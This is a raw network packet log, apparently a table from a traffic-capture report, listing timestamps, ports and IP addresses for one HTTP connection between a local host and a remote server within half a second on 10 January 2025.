Jan 10, 2025 15:01:23.441915989 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.442181110 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.442190886 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.442272902 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.472966909 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.472991943 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.473001957 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.473015070 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.473052025 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.473062992 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.473227978 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.473258972 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.473278046 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.473292112 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.473292112 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.473321915 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.473474026 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.473474026 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.473565102 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.473577023 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.473587990 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.473653078 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.473664999 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.473944902 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.474001884 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.474001884 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.474001884 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.474003077 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.474014997 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.474116087 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.474131107 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.474134922 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.474143028 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.474169016 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.474172115 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.474194050 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.474682093 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.474694967 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.474704981 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.474715948 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.474726915 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.474736929 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.474747896 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.474827051 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.474838972 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.474849939 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.475007057 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.475008011 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.475008011 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.475008011 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.475486994 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.475505114 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.475564957 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.475574970 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.475577116 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.475600958 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.475624084 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.475668907 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.475928068 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.475939989 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.475950956 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.475956917 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.476020098 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.507344007 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.507356882 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.507366896 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.507517099 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.530400038 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.530469894 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.530476093 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.530488968 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.530531883 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.530544043 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.530555010 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.530570984 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.530570984 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.530702114 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.530715942 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.530802011 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.530844927 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.530844927 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.530847073 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.530859947 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.530973911 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.561630964 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.561688900 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.561727047 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.561769009 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.561795950 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.561806917 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.561821938 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.561847925 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.561852932 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.561852932 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.561898947 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562011003 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.562141895 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562180042 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562191010 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562201977 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562262058 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.562262058 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.562268019 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562279940 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562302113 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562345982 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562428951 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562452078 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.562452078 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.562468052 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562479019 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562515020 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.562585115 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562597036 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562633038 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.562814951 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562825918 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562859058 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562870979 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562875032 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.562882900 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.562905073 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.562952995 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.563066959 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.563111067 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.563122034 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.563167095 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.563206911 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.563218117 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.563230038 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.563251019 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.563275099 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.563311100 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.563329935 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.563340902 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.563350916 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.563427925 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.563427925 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.563503027 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.563514948 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.563525915 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.563538074 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.563664913 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.563664913 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.564084053 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.564095020 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.564105988 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.564181089 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.564563990 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.564604044 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.564604044 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.564616919 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.564677000 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.564691067 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.564769030 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.564769030 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.564793110 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.564804077 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.564951897 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.595956087 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.595967054 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.595984936 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.595993996 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.596390009 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.596390963 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.619237900 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.619328976 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.619339943 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.619349957 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.619355917 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.619426966 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.619426966 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.619426966 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.619438887 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.619452953 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.619565964 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.619577885 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.619590044 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.619632006 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.619643927 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.619658947 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.619658947 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.619658947 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.619750023 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.619754076 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.619791985 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.619795084 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.627681017 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.627715111 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.650365114 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.650386095 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.650398016 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.650445938 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.650458097 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.650458097 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.650536060 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.650604010 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.650615931 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.650665998 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.650676966 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.650759935 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.650760889 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.650820017 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.650821924 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.650834084 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.650913000 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.650923014 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.650934935 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.650945902 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.650969028 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651005983 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.651005983 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651040077 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651041031 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.651051044 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651134014 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651141882 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.651146889 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651159048 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651170969 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651246071 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651257038 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651267052 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651273012 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651288986 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651290894 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.651290894 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.651290894 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.651316881 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.651345968 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.651562929 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651581049 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651665926 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651678085 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651688099 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651705027 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.651730061 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651731014 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.651743889 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651756048 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651812077 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.651812077 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.651840925 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651853085 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651863098 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651874065 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651896000 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.651911020 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.651945114 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651956081 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651966095 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651972055 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.651982069 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.652020931 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.652482986 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.652494907 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.652504921 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.652539015 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.652549982 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.652559996 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.652579069 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.652579069 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.652616024 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.652642965 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.652653933 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.653074980 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.653337002 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.653347015 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.653971910 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.655252934 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.655272961 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.655283928 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.655292988 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.655325890 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.655334949 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.655339003 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.655350924 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.655489922 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.685164928 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.685185909 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.685197115 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.685448885 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.838593960 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.859936953 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.936467886 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.936500072 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.936512947 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.936527014 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.936542988 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.936561108 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.936572075 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.936590910 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.936602116 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.936604023 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.936602116 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.936602116 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.936615944 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.936638117 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.936655045 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.936669111 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.936680079 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.936680079 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.936696053 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.936739922 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.936752081 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.936763048 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.936805964 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.936805964 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.937510967 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937530041 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937544107 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937556982 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937570095 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937577963 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.937586069 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937597036 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.937602043 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937617064 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937632084 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937638044 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.937638044 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.937645912 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937658072 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937666893 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937679052 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937689066 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937695980 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.937700987 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937716007 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937728882 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937736034 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.937736034 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.937736034 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.937743902 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937757969 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937773943 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937776089 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.937786102 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937798023 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937808990 CET	80	49747	193.143.1.205	192.168.2.7
